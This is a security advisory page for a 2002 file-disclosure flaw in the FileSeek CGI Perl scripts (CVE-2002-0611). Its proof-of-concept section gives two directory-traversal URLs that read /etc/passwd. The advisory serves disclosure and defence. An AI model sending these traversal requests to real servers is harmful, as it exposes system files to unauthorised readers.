FileSeek CGI Script File Disclosure Vulnerability

BID:6784

Info

FileSeek CGI Script File Disclosure Vulnerability

Bugtraq ID: 6784
Class: Input Validation Error
CVE: CVE-2002-0611
Remote: Yes
Local: No
Published: Apr 16 2002 12:00AM
Updated: Jul 11 2009 08:06PM
Credit: Discovery of this vulnerability has been credited to : Thijs Bosschert ([email protected])
Vulnerable: Wiley Computer Publishing Craig Patchett FileSeek2.cgi
Wiley Computer Publishing Craig Patchett FileSeek.cgi
Not Vulnerable:

Discussion

FileSeek CGI Script File Disclosure Vulnerability

FileSeek is an example cgi-script from "The CGI/Perl Cookbook from John Wiley &
Sons". The script is written and maintained by Craig Patchett. It is mainly used to find and download files on a web server.

FileSeek.cgi and FileSeek2.cgi are prone to a file disclosure vulnerability. It is possible for a remote attacker to submit a maliciously crafted web request which is capable of breaking out of the wwwroot directory and browsing arbitrary web-readable files on a host running the vulnerable script.

Exploit / POC

FileSeek CGI Script File Disclosure Vulnerability

The following proof of concept code was provided by Thijs Bosschert ([email protected]):

http://host/cgi-bin/FileSeek.cgi?head=&foot=....//....//....//....//....
//....//....//etc/passwd
http://host/cgi-bin/FileSeek.cgi?head=....//....//....//....//....//....
//....//etc/passwd&foot=

Solution / Fix

FileSeek CGI Script File Disclosure Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

FileSeek CGI Script File Disclosure Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report